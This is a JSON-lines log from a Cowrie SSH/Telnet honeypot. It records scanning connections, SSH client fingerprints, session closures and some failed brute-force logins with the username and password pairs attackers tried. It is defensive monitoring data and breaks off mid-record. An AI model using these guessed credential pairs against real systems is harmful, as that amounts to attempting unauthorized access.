{"eventid":"cowrie.session.closed","duration":25.293800115585327,"message":"Connection lost after 25 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T00:42:20.119881Z","src_ip":"152.42.224.71","session":"870466de4b5a","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":39.40771245956421,"message":"Connection lost after 39 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T00:42:23.777229Z","src_ip":"152.42.224.71","session":"3f27a21010c7","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":50.73461627960205,"message":"Connection lost after 50 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T00:42:23.884311Z","src_ip":"152.42.224.71","session":"ae697c7090ca","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":34216,"dst_ip":"10.17.0.5","dst_port":23,"session":"893469b395c9","protocol":"telnet","message":"New connection: 152.42.224.71:34216 (10.17.0.5:23) [session: 893469b395c9]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T00:42:25.307987Z"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":39166,"dst_ip":"10.17.0.5","dst_port":23,"session":"fe943b6f9419","protocol":"telnet","message":"New connection: 152.42.224.71:39166 (10.17.0.5:23) [session: fe943b6f9419]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T00:42:25.945168Z"}
{"eventid":"cowrie.session.connect","src_ip":"31.40.204.166","src_port":50712,"dst_ip":"159.203.135.109","dst_port":22,"session":"c68124e2f216","protocol":"ssh","message":"New connection: 31.40.204.166:50712 (159.203.135.109:22) [session: c68124e2f216]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T00:42:27.682794Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T00:42:27.696217Z","src_ip":"31.40.204.166","session":"c68124e2f216","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T00:42:28.207257Z","src_ip":"31.40.204.166","session":"c68124e2f216","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"eve","message":"login attempt [root/eve] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T00:42:28.684937Z","src_ip":"31.40.204.166","session":"c68124e2f216","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.1","message":"Connection lost after 2.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T00:42:29.819901Z","src_ip":"31.40.204.166","session":"c68124e2f216","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":44.060667514801025,"message":"Connection lost after 44 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T00:42:30.974578Z","src_ip":"152.42.224.71","session":"d5808e33161a","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":22.90666627883911,"message":"Connection lost after 22 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T00:42:36.097735Z","src_ip":"152.42.224.71","session":"6ba16c21ca33","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":45480,"dst_ip":"10.17.0.5","dst_port":23,"session":"74c03072985f","protocol":"telnet","message":"New connection: 152.42.224.71:45480 (10.17.0.5:23) [session: 74c03072985f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T00:42:36.511004Z"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":45496,"dst_ip":"10.17.0.5","dst_port":23,"session":"5b2174244496","protocol":"telnet","message":"New connection: 152.42.224.71:45496 (10.17.0.5:23) [session: 5b2174244496]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T00:42:36.841176Z"}
{"eventid":"cowrie.session.closed","duration":42.269662618637085,"message":"Connection lost after 42 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T00:42:37.230694Z","src_ip":"152.42.224.71","session":"87605a7c3236","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":45512,"dst_ip":"10.17.0.5","dst_port":23,"session":"ea40e34db455","protocol":"telnet","message":"New connection: 152.42.224.71:45512 (10.17.0.5:23) [session: ea40e34db455]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T00:42:37.242361Z"}
{"eventid":"cowrie.session.closed","duration":33.16588354110718,"message":"Connection lost after 33 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T00:42:37.529948Z","src_ip":"152.42.224.71","session":"47c89ba457e0","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"185.236.22.41","src_port":33224,"dst_ip":"10.17.0.5","dst_port":22,"session":"55fa8a093ac3","protocol":"ssh","message":"New connection: 185.236.22.41:33224 (10.17.0.5:22) [session: 55fa8a093ac3]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T00:42:37.852602Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T00:42:37.857208Z","src_ip":"185.236.22.41","session":"55fa8a093ac3","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T00:42:37.975207Z","src_ip":"185.236.22.41","session":"55fa8a093ac3","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"kthjxrf","message":"login attempt [root/kthjxrf] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T00:42:38.361643Z","src_ip":"185.236.22.41","session":"55fa8a093ac3","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":45.440775871276855,"message":"Connection lost after 45 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T00:42:38.700325Z","src_ip":"152.42.224.71","session":"944d17490af2","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"31.40.204.166","src_port":38318,"dst_ip":"159.203.135.109","dst_port":22,"session":"77df2302a289","protocol":"ssh","message":"New connection: 31.40.204.166:38318 (159.203.135.109:22) [session: 77df2302a289]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T00:42:39.217823Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T00:42:39.222526Z","src_ip":"31.40.204.166","session":"77df2302a289","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T00:42:39.405272Z","src_ip":"31.40.204.166","session":"77df2302a289","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.6","message":"Connection lost after 1.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T00:42:39.481362Z","src_ip":"185.236.22.41","session":"55fa8a093ac3","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"discordbot","password":"discordbot","message":"login attempt [discordbot/discordbot] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T00:42:39.997289Z","src_ip":"31.40.204.166","session":"77df2302a289","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.9","message":"Connection lost after 1.9 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T00:42:41.123630Z","src_ip":"31.40.204.166","session":"77df2302a289","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":59608,"dst_ip":"10.17.0.5","dst_port":23,"session":"baf9a460a965","protocol":"telnet","message":"New connection: 152.42.224.71:59608 (10.17.0.5:23) [session: baf9a460a965]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T00:42:47.493694Z"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":59612,"dst_ip":"10.17.0.5","dst_port":23,"session":"4cf1c14c84a6","protocol":"telnet","message":"New connection: 152.42.224.71:59612 (10.17.0.5:23) [session: 4cf1c14c84a6]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T00:42:48.510506Z"}
{"eventid":"cowrie.session.connect","src_ip":"31.40.204.166","src_port":42858,"dst_ip":"159.203.135.109","dst_port":22,"session":"b8214422c7f8","protocol":"ssh","message":"New connection: 31.40.204.166:42858 (159.203.135.109:22) [session: b8214422c7f8]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T00:42:51.312084Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T00:42:51.317282Z","src_ip":"31.40.204.166","session":"b8214422c7f8","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T00:42:51.492784Z","src_ip":"31.40.204.166","session":"b8214422c7f8","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"1Q2w3e4r","message":"login attempt [root/1Q2w3e4r] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T00:42:51.989203Z","src_ip":"31.40.204.166","session":"b8214422c7f8","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.8","message":"Connection lost after 1.8 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T00:42:53.120698Z","src_ip":"31.40.204.166","session":"b8214422c7f8","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":59624,"dst_ip":"10.17.0.5","dst_port":23,"session":"f828dd98b47e","protocol":"telnet","message":"New connection: 152.42.224.71:59624 (10.17.0.5:23) [session: f828dd98b47e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T00:42:53.273272Z"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":59616,"dst_ip":"10.17.0.5","dst_port":23,"session":"7291828104cc","protocol":"telnet","message":"New connection: 152.42.224.71:59616 (10.17.0.5:23) [session: 7291828104cc]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T00:42:53.810046Z"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":59632,"dst_ip":"10.17.0.5","dst_port":23,"session":"10ff823a2ef5","protocol":"telnet","message":"New connection: 152.42.224.71:59632 (10.17.0.5:23) [session: 10ff823a2ef5]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T00:42:55.786923Z"}
{"eventid":"cowrie.session.closed","duration":30.97678303718567,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T00:42:56.921813Z","src_ip":"152.42.224.71","session":"fe943b6f9419","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":52554,"dst_ip":"10.17.0.5","dst_port":23,"session":"e6db46670dd3","protocol":"telnet","message":"New connection: 152.42.224.71:52554 (10.17.0.5:23) [session: e6db46670dd3]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T00:42:57.962393Z"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":52556,"dst_ip":"10.17.0.5","dst_port":23,"session":"e34f3a0ac414","protocol":"telnet","message":"New connection: 152.42.224.71:52556 (10.17.0.5:23) [session: e34f3a0ac414]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T00:42:59.585018Z"}
{"eventid":"cowrie.session.closed","duration":35.29765272140503,"message":"Connection lost after 35 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T00:43:00.605434Z","src_ip":"152.42.224.71","session":"893469b395c9","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":9.104965209960938,"message":"Connection lost after 9 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T00:43:02.378105Z","src_ip":"152.42.224.71","session":"f828dd98b47e","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":9.109604835510254,"message":"Connection lost after 9 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T00:43:02.919508Z","src_ip":"152.42.224.71","session":"7291828104cc","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"31.40.204.166","src_port":52630,"dst_ip":"159.203.135.109","dst_port":22,"session":"70aba0c6c98d","protocol":"ssh","message":"New connection: 31.40.204.166:52630 (159.203.135.109:22) [session: 70aba0c6c98d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T00:43:04.115565Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T00:43:04.120430Z","src_ip":"31.40.204.166","session":"70aba0c6c98d","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T00:43:04.297509Z","src_ip":"31.40.204.166","session":"70aba0c6c98d","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"frank","password":"frank","message":"login attempt [frank/frank] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T00:43:04.990844Z","src_ip":"31.40.204.166","session":"70aba0c6c98d","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":28.485337257385254,"message":"Connection lost after 28 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T00:43:05.727584Z","src_ip":"152.42.224.71","session":"ea40e34db455","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":"2.1","message":"Connection lost after 2.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T00:43:06.190218Z","src_ip":"31.40.204.166","session":"70aba0c6c98d","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":53.3161199092865,"message":"Connection lost after 53 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T00:43:10.374260Z","src_ip":"152.42.224.71","session":"9e72c39f87e7","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":43176,"dst_ip":"10.17.0.5","dst_port":23,"session":"82c160a06a60","protocol":"telnet","message":"New connection: 152.42.224.71:43176 (10.17.0.5:23) [session: 82c160a06a60]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T00:43:13.353111Z"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":43180,"dst_ip":"10.17.0.5","dst_port":23,"session":"f41bba9639e6","protocol":"telnet","message":"New connection: 152.42.224.71:43180 (10.17.0.5:23) [session: f41bba9639e6]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T00:43:15.413229Z"}
{"eventid":"cowrie.session.connect","src_ip":"31.40.204.166","src_port":40086,"dst_ip":"159.203.135.109","dst_port":22,"session":"4348bf9f66a7","protocol":"ssh","message":"New connection: 31.40.204.166:40086 (159.203.135.109:22) [session: 4348bf9f66a7]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T00:43:16.022758Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T00:43:16.027331Z","src_ip":"31.40.204.166","session":"4348bf9f66a7","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-g